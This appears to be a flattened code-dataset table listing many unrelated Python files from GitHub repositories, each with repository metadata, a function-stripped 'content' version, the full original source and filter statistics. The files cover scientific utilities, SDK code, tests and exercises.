hexsha
stringlengths
40
40
size
int64
6
1.04M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
247
max_stars_repo_name
stringlengths
4
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
368k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
247
max_issues_repo_name
stringlengths
4
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
116k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
247
max_forks_repo_name
stringlengths
4
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
1
1.04M
avg_line_length
float64
1.53
618k
max_line_length
int64
1
1.02M
alphanum_fraction
float64
0
1
original_content
stringlengths
6
1.04M
filtered:remove_non_ascii
int64
0
538k
filtered:remove_decorators
int64
0
917k
filtered:remove_async
int64
0
722k
filtered:remove_classes
int64
-45
1M
filtered:remove_generators
int64
0
814k
filtered:remove_function_no_docstring
int64
-102
850k
filtered:remove_class_no_docstring
int64
-3
5.46k
filtered:remove_unused_imports
int64
-1,350
52.4k
filtered:remove_delete_markers
int64
0
59.6k
badc6e29375c645c1b28d9cf77087170e354ff44
10,938
py
Python
pychemy/tests/test_peptide_sets.py
benjiec/pychemy
0b496b158ad48defc61a9688c91ce676e1f6a8a4
[ "MIT" ]
7
2015-04-16T21:46:50.000Z
2020-09-20T13:49:37.000Z
pychemy/tests/test_peptide_sets.py
timgc/pychemy
d45450ad11c93a3e06d80f8f2bd72777b77a1272
[ "MIT" ]
6
2015-01-20T15:21:41.000Z
2017-04-12T19:03:15.000Z
pychemy/tests/test_peptide_sets.py
timgc/pychemy
d45450ad11c93a3e06d80f8f2bd72777b77a1272
[ "MIT" ]
6
2015-01-15T14:36:11.000Z
2017-07-21T13:38:17.000Z
import unittest AA_dict = {1:'A', 2:'C', 3:'D', 4:'E', 5:'F', 6:'G', 7:'H', 8:'I', 9:'L', 10:'K', 11:'M', 12:'N', 13:'P', 14:'Q', 15:'R', 16:'S', 17:'T', 18:'V', 19:'W', 20:'Y'} ############################### if __name__ == '__main__': unittest.main()
40.813433
121
0.665661
import unittest, tempfile, os from pychemy.peptide_sets import * import random import numpy as np AA_dict = {1:'A', 2:'C', 3:'D', 4:'E', 5:'F', 6:'G', 7:'H', 8:'I', 9:'L', 10:'K', 11:'M', 12:'N', 13:'P', 14:'Q', 15:'R', 16:'S', 17:'T', 18:'V', 19:'W', 20:'Y'} def gen_protein(num_AA = 20): out = '' for...
0
0
0
10,404
0
127
0
16
113
7e13dbb1b3a3aa5363cb1bf11d50b64aa620c142
5,757
py
Python
ptfims/ptfimages.py
rbiswas4/ptfdata
f50efd077bbf091e5108a6c95b0e24e4768ca4e6
[ "MIT" ]
null
null
null
ptfims/ptfimages.py
rbiswas4/ptfdata
f50efd077bbf091e5108a6c95b0e24e4768ca4e6
[ "MIT" ]
null
null
null
ptfims/ptfimages.py
rbiswas4/ptfdata
f50efd077bbf091e5108a6c95b0e24e4768ca4e6
[ "MIT" ]
null
null
null
""" Objects related to data downloads from the public PTF data server. Based on information and examples in Should work in python 2 and 3. """ from future.standard_library import install_aliases install_aliases() __all__ = ['PTFImages']
31.459016
111
0.565225
""" Objects related to data downloads from the public PTF data server. Based on information and examples in Should work in python 2 and 3. """ import requests import pandas as pd from future.standard_library import install_aliases install_aliases() from urllib.request import urlopen import os __all__ = ['PTFImages'...
0
3,113
0
2,298
0
0
0
-7
111
1cbfbe88c19bcd6106687fbc596a103924b041e1
8,152
py
Python
analyze-go-test-output.py
knz/go-test-stats
64cd252e30a8ea8cd1a6f414dfce00c6b5bf92c2
[ "BSD-3-Clause" ]
null
null
null
analyze-go-test-output.py
knz/go-test-stats
64cd252e30a8ea8cd1a6f414dfce00c6b5bf92c2
[ "BSD-3-Clause" ]
null
null
null
analyze-go-test-output.py
knz/go-test-stats
64cd252e30a8ea8cd1a6f414dfce00c6b5bf92c2
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python3 import re import sys import codecs inputfile = codecs.open(sys.argv[1], mode='r', encoding='utf-8', errors='replace') lineprefix = re.compile(r'^(?P<time>\d+)\s+(?P<rss>\d+)\s+(?P<cpu>\d+\.\d+)\s+(?P<th>\d+) (?P<msg>.*)$') pkgre = re.compile(r'^(?P<result>(?:FAIL|ok |\? ))\tgithub.com/...
35.137931
142
0.563788
#!/usr/bin/env python3 import re import sys import codecs class Trackable: def __init__(self): self.last_ts = None self.time = 0 self.maxcpu = 0.0 self.maxrss = 0 self.maxth = 0 self.nlines = 0 self.nbytes = 0 def update(self, time, rss, cpu, th, nb): ...
0
0
0
3,236
0
0
0
0
69
ee446f4118c306613174ec62943e5d94d1d16caa
568
py
Python
python/restb/sdk/__init__.py
restbai/sdk
d39a2ad828a897c431cae1a8270fee9a3973beda
[ "Apache-2.0" ]
3
2018-10-17T14:16:25.000Z
2021-08-24T15:05:36.000Z
python/restb/sdk/__init__.py
restbai/sdk
d39a2ad828a897c431cae1a8270fee9a3973beda
[ "Apache-2.0" ]
1
2020-04-30T06:34:15.000Z
2020-04-30T08:29:54.000Z
python/restb/sdk/__init__.py
restbai/sdk
d39a2ad828a897c431cae1a8270fee9a3973beda
[ "Apache-2.0" ]
3
2018-04-27T08:41:07.000Z
2021-08-25T11:02:25.000Z
__URL_EU = 'https://api-eu.restb.ai' __URL_US = 'https://api-us.restb.ai' __ENDPOINT = '/vision/v2/predict' __ENDPOINT_MULTIPREDICT = '/vision/v2/multipredict' __MODELS = [ 're_roomtype_global_v2', 're_exterior_styles', 're_features_v3', 're_logo', 're_appliances_v2', 're_compliance', 're_co...
18.933333
51
0.637324
__URL_EU = 'https://api-eu.restb.ai' __URL_US = 'https://api-us.restb.ai' __ENDPOINT = '/vision/v2/predict' __ENDPOINT_MULTIPREDICT = '/vision/v2/multipredict' __MODELS = [ 're_roomtype_global_v2', 're_exterior_styles', 're_features_v3', 're_logo', 're_appliances_v2', 're_compliance', 're_co...
0
0
0
0
0
0
0
0
0
7df64d610ab8de5462e95353380398072838bf85
2,454
py
Python
normalized_and_show.py
GhozyElFatih/Skripsi-Automatic-Velocity-Pick-Seismic-Reflection-Using-CNN
438e8d950546bf3668cc37a86914187f1b5f23c8
[ "Apache-2.0" ]
3
2021-07-24T10:34:39.000Z
2022-03-28T06:40:36.000Z
normalized_and_show.py
GhozyElFatih/Skripsi-Automatic-Velocity-Pick-Seismic-Reflection-Using-CNN
438e8d950546bf3668cc37a86914187f1b5f23c8
[ "Apache-2.0" ]
null
null
null
normalized_and_show.py
GhozyElFatih/Skripsi-Automatic-Velocity-Pick-Seismic-Reflection-Using-CNN
438e8d950546bf3668cc37a86914187f1b5f23c8
[ "Apache-2.0" ]
2
2021-08-12T23:46:31.000Z
2022-01-24T14:24:15.000Z
# -*- coding: utf-8 -*- """ Created on Wed Jun 9 14:01:42 2021 @author: Ghozy El Fatih """ import matplotlib.pyplot as plt import numpy as np import pandas as pd import scipy.interpolate as inter from PIL import Image #load gambar semblance path_gambar = "IMAGE_PATH\\" path_pick = "PICK_PATH\\normpick"...
27.266667
119
0.643439
# -*- coding: utf-8 -*- """ Created on Wed Jun 9 14:01:42 2021 @author: Ghozy El Fatih """ import matplotlib.pyplot as plt import numpy as np import pandas as pd import scipy.interpolate as inter from PIL import Image #load gambar semblance path_gambar = "IMAGE_PATH\\" path_pick = "PICK_PATH\\normpick"...
0
0
0
0
0
124
0
0
23
18c6dc15b1e208d0df26cb6354275f4f274f6602
957
py
Python
Site_Visit_2.0/venv/lib/python3.7/site-packages/google_streetview/__init__.py
opacichjj/FEMA-PDA-and-Route-Optimizer
d79468438f45216d5abeef5f5037d6a165f61140
[ "MIT" ]
null
null
null
Site_Visit_2.0/venv/lib/python3.7/site-packages/google_streetview/__init__.py
opacichjj/FEMA-PDA-and-Route-Optimizer
d79468438f45216d5abeef5f5037d6a165f61140
[ "MIT" ]
null
null
null
Site_Visit_2.0/venv/lib/python3.7/site-packages/google_streetview/__init__.py
opacichjj/FEMA-PDA-and-Route-Optimizer
d79468438f45216d5abeef5f5037d6a165f61140
[ "MIT" ]
2
2019-08-11T03:34:07.000Z
2019-10-25T16:57:48.000Z
# -*- coding: utf-8 -*- __name__ = 'google_streetview' __author__ = 'Richard Wen' __email__ = 'rrwen.dev@gmail.com' __version__ = '1.2.9' __license__ = 'MIT' __description__ = 'A command line tool and module for Google Street View Image API.' __long_description_content_type__='text/markdown' __keywords__ = [ ...
23.925
88
0.661442
# -*- coding: utf-8 -*- __name__ = 'google_streetview' __author__ = 'Richard Wen' __email__ = 'rrwen.dev@gmail.com' __version__ = '1.2.9' __license__ = 'MIT' __description__ = 'A command line tool and module for Google Street View Image API.' __long_description_content_type__='text/markdown' __keywords__ = [ ...
0
0
0
0
0
0
0
0
0
1eed03c51ed8db36a2820c373473c253728f62ea
123
py
Python
projects/oldProyects/workStress/configuration/workload_settings.py
GGP00/soba
c193f323f26eccf579a454b8bb4bec4e80644444
[ "MIT" ]
1
2017-03-06T12:33:02.000Z
2017-03-06T12:33:02.000Z
projects/oldProyects/workStress/configuration/workload_settings.py
GGP00/soba
c193f323f26eccf579a454b8bb4bec4e80644444
[ "MIT" ]
3
2017-04-26T08:57:35.000Z
2019-04-24T08:28:24.000Z
projects/oldProyects/workStress/configuration/workload_settings.py
GGP00/soba
c193f323f26eccf579a454b8bb4bec4e80644444
[ "MIT" ]
1
2019-01-20T17:39:00.000Z
2019-01-20T17:39:00.000Z
task_estimated_time = 25 # minutes tasks_arriving_distribution_params = 20, 6 # normal distribution with mean 20 and sd 6
30.75
86
0.804878
task_estimated_time = 25 # minutes tasks_arriving_distribution_params = 20, 6 # normal distribution with mean 20 and sd 6
0
0
0
0
0
0
0
0
0
490619810fdcb1508202ace900b9fb1de251191e
358
py
Python
exercicios/tuplas/desafio72.py
costagguilherme/python-desafios
404b4a8924a2895a97d3cea99e1325e46d9aee39
[ "MIT" ]
null
null
null
exercicios/tuplas/desafio72.py
costagguilherme/python-desafios
404b4a8924a2895a97d3cea99e1325e46d9aee39
[ "MIT" ]
null
null
null
exercicios/tuplas/desafio72.py
costagguilherme/python-desafios
404b4a8924a2895a97d3cea99e1325e46d9aee39
[ "MIT" ]
null
null
null
a = ('zero', 'um', 'dois', 'trs', 'quatro', 'cinco', 'seis', 'sete', 'oito', 'nove', 'dez', 'onze', 'doze', 'treze', 'cartoze', 'quinze') n = int(input('DIGITE UM NMERO DE 0 A 15: ')) if n > 15 or n < 0: while True: n = int(input('DIGITE UM NMERO DE 0 A 15: ')) if 0 <= n <= 15: break pri...
44.75
138
0.513966
a = ('zero', 'um', 'dois', 'três', 'quatro', 'cinco', 'seis', 'sete', 'oito', 'nove', 'dez', 'onze', 'doze', 'treze', 'cartoze', 'quinze') n = int(input('DIGITE UM NÚMERO DE 0 A 15: ')) if n > 15 or n < 0: while True: n = int(input('DIGITE UM NÚMERO DE 0 A 15: ')) if 0 <= n <= 15: break ...
10
0
0
0
0
0
0
0
0
2eb2d362919c329715fd21a58405ff4a02c3c106
1,075
py
Python
src/main/python/daggit/core/operators/operators_registry.py
SMYALTAMASH/sunbird-ml-workbench
d7a92e77cab89b5b720c2ac1b013d611c76b1636
[ "MIT" ]
null
null
null
src/main/python/daggit/core/operators/operators_registry.py
SMYALTAMASH/sunbird-ml-workbench
d7a92e77cab89b5b720c2ac1b013d611c76b1636
[ "MIT" ]
null
null
null
src/main/python/daggit/core/operators/operators_registry.py
SMYALTAMASH/sunbird-ml-workbench
d7a92e77cab89b5b720c2ac1b013d611c76b1636
[ "MIT" ]
null
null
null
import os testdir = os.path.dirname(os.path.realpath("__file__")) srcdir = 'src/main/python/daggit' abs_path = os.path.join(testdir, srcdir)
35.833333
85
0.605581
import importlib import os testdir = os.path.dirname(os.path.realpath("__file__")) srcdir = 'src/main/python/daggit' abs_path = os.path.join(testdir, srcdir) def get_op_callable(operator, module_path=None): if module_path: module = importlib.import_module(module_path) return getattr(module, opera...
0
0
0
0
0
892
0
-5
45
a94b1427bfaba70e4767ee6292e3e96846691f1c
932
py
Python
setup.py
sonwanesuresh95/rfm
f72d9fd672c6394ccef058698e2f6c9d87ebcea9
[ "MIT" ]
2
2022-02-13T14:54:06.000Z
2022-02-13T16:14:17.000Z
setup.py
sonwanesuresh95/rfm
f72d9fd672c6394ccef058698e2f6c9d87ebcea9
[ "MIT" ]
null
null
null
setup.py
sonwanesuresh95/rfm
f72d9fd672c6394ccef058698e2f6c9d87ebcea9
[ "MIT" ]
null
null
null
import setuptools with open("README.md", "r", encoding="utf-8") as fh: long_description = fh.read() setuptools.setup( name="rfm", version="1.0.7", author="Suresh Sonwane", author_email="sonwanesuresh739@gmail.com", description="Python Package for RFM Analysis and Customer Segmentatio...
33.285714
77
0.63412
import setuptools with open("README.md", "r", encoding="utf-8") as fh: long_description = fh.read() setuptools.setup( name="rfm", version="1.0.7", author="Suresh Sonwane", author_email="sonwanesuresh739@gmail.com", description="Python Package for RFM Analysis and Customer Segmentatio...
0
0
0
0
0
0
0
0
0
554833401b3b1ccb1b26746f60dab3c1b0d0da9b
639
py
Python
code/histogram2.py
josemac95/umucv
f0f8de17141f4adcb4966281c3f83539ebda5f0b
[ "BSD-3-Clause" ]
null
null
null
code/histogram2.py
josemac95/umucv
f0f8de17141f4adcb4966281c3f83539ebda5f0b
[ "BSD-3-Clause" ]
null
null
null
code/histogram2.py
josemac95/umucv
f0f8de17141f4adcb4966281c3f83539ebda5f0b
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python import cv2 as cv import numpy as np import matplotlib.pyplot as plt cap = cv.VideoCapture(0) plt.ion() fig = plt.figure(figsize=(10,3)) fig.suptitle('histogram') ax = fig.add_axes([-0.25,0,1,1]) im = ax.imshow(np.zeros((480,640)),'gray',vmin=0,vmax=255) ax.set_axis_off(); ax2 = fig.add_axes([...
17.75
58
0.633803
#!/usr/bin/env python import cv2 as cv import numpy as np import matplotlib.pyplot as plt cap = cv.VideoCapture(0) plt.ion() fig = plt.figure(figsize=(10,3)) fig.suptitle('histogram') ax = fig.add_axes([-0.25,0,1,1]) im = ax.imshow(np.zeros((480,640)),'gray',vmin=0,vmax=255) ax.set_axis_off(); ax2 = fig.add_axes([...
0
0
0
0
0
0
0
0
0
3764428cb40418d1bea243daa485fb13b1170b84
1,735
py
Python
persianas_paludo/src/webapps/render_admin.py
ProfessionalIT/customers
3dbc1989bb3494fb6de7edad67dc59b7b0385ac3
[ "MIT" ]
null
null
null
persianas_paludo/src/webapps/render_admin.py
ProfessionalIT/customers
3dbc1989bb3494fb6de7edad67dc59b7b0385ac3
[ "MIT" ]
1
2015-11-08T11:49:35.000Z
2015-11-08T11:49:43.000Z
persianas_paludo/src/webapps/render_admin.py
ProfessionalIT/customers
3dbc1989bb3494fb6de7edad67dc59b7b0385ac3
[ "MIT" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- from web import template import os rootpath = os.path.abspath(os.path.dirname(__file__)) admin_template_path = template.render(rootpath + '/templates/admin', cache=False)
44.487179
190
0.720461
#!/usr/bin/python # -*- coding: utf-8 -*- from web import template from configuration import WEBSITE_NAME, ADMIN_VERSION from auth import get_logged_user, get_logoff_url from model import get_exposed_managed_tables import os rootpath = os.path.abspath(os.path.dirname(__file__)) admin_template_path = templat...
0
0
0
0
0
1,211
0
82
219
b51ed79dae925590265e59bda7e40da317ae77a7
24
py
Python
smop/version.py
pokepocky/smop
f6c1aa037be8511d29fa014c9ed1fbf50e4cc3d5
[ "MIT" ]
961
2015-01-26T09:23:52.000Z
2022-03-31T15:02:53.000Z
smop/version.py
SylivanKenobi/smop
1bd8da0a5fc9c2b1e11b2225cbfd48d031338413
[ "MIT" ]
109
2015-02-02T15:38:35.000Z
2022-02-26T17:30:59.000Z
smop/version.py
SylivanKenobi/smop
1bd8da0a5fc9c2b1e11b2225cbfd48d031338413
[ "MIT" ]
432
2015-01-09T22:51:59.000Z
2022-03-24T03:52:18.000Z
__version__='0.41-beta'
12
23
0.75
__version__='0.41-beta'
0
0
0
0
0
0
0
0
0
a231d1ef70774edb07cc728aa587a4c927381f7d
5,581
py
Python
Data-Store/log_csv_to_influx.py
prashnts/MPU-9250
29b0223ef5a0cfe5e68b09c752478f445ecc2629
[ "MIT" ]
null
null
null
Data-Store/log_csv_to_influx.py
prashnts/MPU-9250
29b0223ef5a0cfe5e68b09c752478f445ecc2629
[ "MIT" ]
null
null
null
Data-Store/log_csv_to_influx.py
prashnts/MPU-9250
29b0223ef5a0cfe5e68b09c752478f445ecc2629
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import serial import click import platform import glob import json import signal import sys from itertools import cycle from influxdb import InfluxDBClient serial_port = serial.Serial() client = None progress_pool = cycle(["_ ", "__ ", "___"]) def open_serial_port(baud...
31.891429
115
0.501165
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import serial import click import platform import glob import json import signal import sys from itertools import cycle from influxdb import InfluxDBClient serial_port = serial.Serial() client = None progress_pool = cycle(["_ ", "__ ", "___"]) @click.command() @click.o...
0
1,087
0
0
0
0
0
0
23
f66fdc33c2ab615ae856da99d08f9b8afc21fa33
3,576
py
Python
libcloud/test/storage/test_rgw.py
rgharris/libcloud
90971e17bfd7b6bb97b2489986472c531cc8e140
[ "Apache-2.0" ]
null
null
null
libcloud/test/storage/test_rgw.py
rgharris/libcloud
90971e17bfd7b6bb97b2489986472c531cc8e140
[ "Apache-2.0" ]
1
2021-12-06T12:29:13.000Z
2021-12-06T12:29:13.000Z
libcloud/test/storage/test_rgw.py
rgharris/libcloud
90971e17bfd7b6bb97b2489986472c531cc8e140
[ "Apache-2.0" ]
1
2019-08-05T10:12:02.000Z
2019-08-05T10:12:02.000Z
# Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use ...
36.865979
83
0.744407
# Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use ...
0
234
0
2,098
0
0
0
192
181
eff9dee89b87dcc9b432a833a6cd426e6cf3b727
4,714
py
Python
pyneval/metric/utils/klib/glib/Writer.py
SupermeLC/PyNeval
2cccfb1af7d97857454e9cbc3515ba75e5d8d4b0
[ "BSD-3-Clause" ]
12
2020-07-18T16:55:23.000Z
2022-03-14T12:26:08.000Z
pyneval/metric/utils/klib/glib/Writer.py
SupermeLC/PyNeval
2cccfb1af7d97857454e9cbc3515ba75e5d8d4b0
[ "BSD-3-Clause" ]
5
2021-05-31T22:08:51.000Z
2021-08-31T15:42:44.000Z
pyneval/metric/utils/klib/glib/Writer.py
SupermeLC/PyNeval
2cccfb1af7d97857454e9cbc3515ba75e5d8d4b0
[ "BSD-3-Clause" ]
2
2021-09-24T03:02:27.000Z
2021-11-09T06:21:00.000Z
"""Converts images to TFRecords file format with Example protos.""" import tensorflow as tf def convertTo( input_path_list, output_path, class_label_file_path, organize_type, is_3d=False, resize=False, new_size=None, number=None): ''' create tfrecords file input_path_list (stri...
30.61039
107
0.522486
"""Converts images to TFRecords file format with Example protos.""" import os import sys import glob import json import tensorflow as tf from PIL import Image import tifffile import numpy as np import Utils from Label import class2label def _int64_feature(value): return tf.train.Feature(int64_list=tf.train.Int64L...
0
0
0
0
2,067
158
0
-53
268
b182bb0a90f70e58864aa0547270a6ef6118570b
12,029
py
Python
nxjiggle.py
henrycousins/nxviz
f198abcf0dcd6076a0488026454599e574d91812
[ "MIT" ]
null
null
null
nxjiggle.py
henrycousins/nxviz
f198abcf0dcd6076a0488026454599e574d91812
[ "MIT" ]
null
null
null
nxjiggle.py
henrycousins/nxviz
f198abcf0dcd6076a0488026454599e574d91812
[ "MIT" ]
null
null
null
import glob as glob # import scipy.stats # import seaborn as sns # from sklearn import metrics as skm # import os # import numpy as np # import pandas as pd # import glob as glob # import matplotlib.pyplot as plt # # import scipy.stats # # import seaborn as sns # # from sklearn import metrics as skm # import math...
31.244156
107
0.614349
import os import numpy as np import pandas as pd import glob as glob import matplotlib.pyplot as plt # import scipy.stats # import seaborn as sns # from sklearn import metrics as skm import math from collections import Counter import networkx as nx import matplotlib.lines as mlines from itertools import combinations im...
0
0
0
0
0
4,717
0
14
450
fc9b84923f35af717f9f21aed7a6365e3de00e9c
3,704
py
Python
tcfcli/cmds/configure/add/cli.py
tencentyun/scfcli
ef15508ad34a851cf0d2750dfaa5202f6a600887
[ "Apache-2.0" ]
103
2019-06-11T06:09:56.000Z
2021-12-18T22:48:59.000Z
tcfcli/cmds/configure/add/cli.py
TencentCloud/Serverless-cli
57f98b24cfd10712770a4806212cfb69d981a11a
[ "Apache-2.0" ]
8
2019-07-12T12:08:40.000Z
2020-10-20T07:18:17.000Z
tcfcli/cmds/configure/add/cli.py
TencentCloud/Serverless-cli
57f98b24cfd10712770a4806212cfb69d981a11a
[ "Apache-2.0" ]
49
2019-06-11T06:26:05.000Z
2020-02-19T08:13:36.000Z
# -*- coding: utf-8 -*- import platform import tcfcli.common.base_infor as infor version = platform.python_version() if version >= '3': REGIONS = infor.REGIONS
37.04
134
0.559125
# -*- coding: utf-8 -*- import click import platform import tcfcli.common.base_infor as infor from tcfcli.help.message import ConfigureHelp as help from tcfcli.common.user_config import UserConfig from tcfcli.common.operation_msg import Operation version = platform.python_version() if version >= '3': from functoo...
0
3,287
0
0
0
6
0
85
161
ba82528a0f42d23f98e41a9048c283ba45dd1e41
296
py
Python
class4/exercise4.py
papri-entropy/pyplus
9791fa6ee0b5414912594e20db0390f8a65c91fc
[ "MIT" ]
null
null
null
class4/exercise4.py
papri-entropy/pyplus
9791fa6ee0b5414912594e20db0390f8a65c91fc
[ "MIT" ]
null
null
null
class4/exercise4.py
papri-entropy/pyplus
9791fa6ee0b5414912594e20db0390f8a65c91fc
[ "MIT" ]
null
null
null
#!/usr/bin/env python """ 4. Use TextFSM to parse the 'show arp' output from a Juniper SRX (see link below). Extract the following fields into tabular data: MAC Address, Address, Name, Interface. https://github.com/ktbyers/pyplus_course/blob/master/class4/exercises/ex4_junos_show_arp.txt """
32.888889
92
0.763514
#!/usr/bin/env python """ 4. Use TextFSM to parse the 'show arp' output from a Juniper SRX (see link below). Extract the following fields into tabular data: MAC Address, Address, Name, Interface. https://github.com/ktbyers/pyplus_course/blob/master/class4/exercises/ex4_junos_show_arp.txt """
0
0
0
0
0
0
0
0
0
7900ba4754c926164dd2748f4d59fd2fbccbf00f
8,660
py
Python
resolwe_bio/processes/import_data/basespace.py
plojyon/resolwe-bio
45d001a78fcc387b5e3239a34c9da7f40d789022
[ "Apache-2.0" ]
null
null
null
resolwe_bio/processes/import_data/basespace.py
plojyon/resolwe-bio
45d001a78fcc387b5e3239a34c9da7f40d789022
[ "Apache-2.0" ]
null
null
null
resolwe_bio/processes/import_data/basespace.py
plojyon/resolwe-bio
45d001a78fcc387b5e3239a34c9da7f40d789022
[ "Apache-2.0" ]
null
null
null
"""Import a file from Illumina BaseSpace.""" import gzip import os import time from requests import RequestException def download_file_repeatedly( tries, session, file_id, file_name, expected_file_size, request_headers, error ): """Attempt to download BaseSpace file numerous times in case of errors.""" ...
31.376812
95
0.588337
"""Import a file from Illumina BaseSpace.""" import atexit import gzip import os import time import traceback from pathlib import Path from requests import RequestException, Session from resolwe.process import ( BooleanField, FileField, GroupField, IntegerField, Persistence, Process, Secr...
0
0
0
4,032
0
0
0
140
136
0719682377cb262b97f21fa7de66ec6aca54b249
3,181
py
Python
parse_wiki.py
woctezuma/humble-monthly
655b42a452f4db168d03ebb146196940822687d6
[ "MIT" ]
3
2019-03-11T12:35:53.000Z
2021-09-11T18:14:09.000Z
parse_wiki.py
woctezuma/humble-monthly
655b42a452f4db168d03ebb146196940822687d6
[ "MIT" ]
41
2018-06-06T21:11:48.000Z
2022-02-01T19:46:16.000Z
parse_wiki.py
woctezuma/humble-monthly
655b42a452f4db168d03ebb146196940822687d6
[ "MIT" ]
null
null
null
if __name__ == '__main__': filename = 'data/wiki_humble_monthly.txt' verbose = True bundles = build_dictionary(filename, verbose) print(bundles)
29.453704
102
0.638478
import re def load_wiki_file(fname): with open(fname, encoding='utf8') as f: lines = [l.strip() for l in f.readlines()] return lines def parse_bundle_name(wiki_str): # Tokenize wiki_tokens = re.split('\|', wiki_str) bundle_name_prefix = 'Bundle=' # Find the token corresponding to ...
0
0
0
0
0
2,912
0
-12
114
d52c98485e83b7d36f5dea9869ebad3affbd4222
140
py
Python
pyaz/mysql/__init__.py
py-az-cli/py-az-cli
9a7dc44e360c096a5a2f15595353e9dad88a9792
[ "MIT" ]
null
null
null
pyaz/mysql/__init__.py
py-az-cli/py-az-cli
9a7dc44e360c096a5a2f15595353e9dad88a9792
[ "MIT" ]
null
null
null
pyaz/mysql/__init__.py
py-az-cli/py-az-cli
9a7dc44e360c096a5a2f15595353e9dad88a9792
[ "MIT" ]
1
2022-02-03T09:12:01.000Z
2022-02-03T09:12:01.000Z
''' Manage Azure Database for MySQL servers. ''' from .. pyaz_utils import _call_az
20
54
0.757143
''' Manage Azure Database for MySQL servers. ''' from .. pyaz_utils import _call_az from . import db, flexible_server, server, server_logs
0
0
0
0
0
0
0
33
22
b3f3a1548b2bc6caf79b557abc8eb38c923388f1
3,277
py
Python
generate_feats1.py
mohsinkhn/ltfs-av
43077049b817e6eb0a8a8a2bf0177c9a1d9940d0
[ "MIT" ]
5
2019-04-26T20:07:30.000Z
2021-02-04T20:24:34.000Z
generate_feats1.py
mohsinkhn/ltfs-av
43077049b817e6eb0a8a8a2bf0177c9a1d9940d0
[ "MIT" ]
null
null
null
generate_feats1.py
mohsinkhn/ltfs-av
43077049b817e6eb0a8a8a2bf0177c9a1d9940d0
[ "MIT" ]
1
2019-04-29T09:45:12.000Z
2019-04-29T09:45:12.000Z
from pathlib import Path from utils import read_data from config import UTILITY if __name__=="__main__": print("Reading data") train = read_data("train") test = read_data("test") print("preprocess data") train, test = preprocess_data(train, test) print("Generating extra feature...
41.481013
118
0.683552
import pandas as pd import numpy as np from pathlib import Path from sklearn.preprocessing import QuantileTransformer, StandardScaler, LabelEncoder from utils import read_data from config import UTILITY def preprocess_data(train , test): lbl = LabelEncoder() train["cns_desc"] = lbl.fit_transform(train["PERF...
0
0
0
0
0
1,952
0
57
159
9f23764bed3fe6abe03a4a30739c191dd08836b0
1,073
py
Python
config.py
JeyDi/GameOfLife
963d2d084e82321eb814e07d146af9af4e6106ff
[ "MIT" ]
null
null
null
config.py
JeyDi/GameOfLife
963d2d084e82321eb814e07d146af9af4e6106ff
[ "MIT" ]
null
null
null
config.py
JeyDi/GameOfLife
963d2d084e82321eb814e07d146af9af4e6106ff
[ "MIT" ]
null
null
null
import os # Set the logs VERBOSITY = os.getenv( "VERBOSITY", "debug" ) # info as default, #debug for local dev LOG_PATH = os.getenv("LOG_PATH", "./logs") # Define the logs # Set verbosity ROWS = 40 COLUMNS = 40 MAX_PROB = 2 MAX_TICK = 60
24.953488
91
0.580615
import os import logging from logging.handlers import RotatingFileHandler # Set the logs VERBOSITY = os.getenv( "VERBOSITY", "debug" ) # info as default, #debug for local dev LOG_PATH = os.getenv("LOG_PATH", "./logs") # Define the logs # Set verbosity def configure_logging(verbosity=VERBOSITY, log_path=LOG_PAT...
0
0
0
0
0
738
0
20
66
7cf55ebe1e6cab7576145b36cea9f7fb4961dc39
587
py
Python
LeetCodeSolutions/python/6_ZigZag_Conversion.py
ChuanleiGuo/AlgorithmsPlayground
90b6287b742c8bfd3797540c408d679be2821a40
[ "MIT" ]
1
2017-03-27T13:38:37.000Z
2017-03-27T13:38:37.000Z
LeetCodeSolutions/python/6_ZigZag_Conversion.py
ChuanleiGuo/AlgorithmsPlayground
90b6287b742c8bfd3797540c408d679be2821a40
[ "MIT" ]
null
null
null
LeetCodeSolutions/python/6_ZigZag_Conversion.py
ChuanleiGuo/AlgorithmsPlayground
90b6287b742c8bfd3797540c408d679be2821a40
[ "MIT" ]
null
null
null
str = 'ABC' print Solution().convert(str, 1)
24.458333
54
0.410562
class Solution(object): def convert(self, s, numRows): """ :type s: str :type numRows: int :rtype: str """ if numRows <= 1 or numRows >= len(s): return s strs = [''] * numRows row, step = 0, 1 for i in range(len(s)): strs[row] += s[...
0
0
0
520
0
0
0
0
22
dcf43379ba8d2124b5769ec2be6a5f3b4c271a9a
2,301
py
Python
examples/key_view.py
claws/txcosm
c5289bcb40de46a3fc4b854476d36c4839f50e45
[ "MIT" ]
null
null
null
examples/key_view.py
claws/txcosm
c5289bcb40de46a3fc4b854476d36c4839f50e45
[ "MIT" ]
null
null
null
examples/key_view.py
claws/txcosm
c5289bcb40de46a3fc4b854476d36c4839f50e45
[ "MIT" ]
1
2018-03-04T20:14:04.000Z
2018-03-04T20:14:04.000Z
#!/usr/bin/env python """ Lists key(s) detail(s) visible to the supplied Cosm user API key To use this script you must create a text file containing your API key and pass it to this script using the --keyfile argument as follows: List all keys visible to supplied key: $ key_view.py --keyfile=/path/to/apikey/file Li...
29.126582
116
0.681008
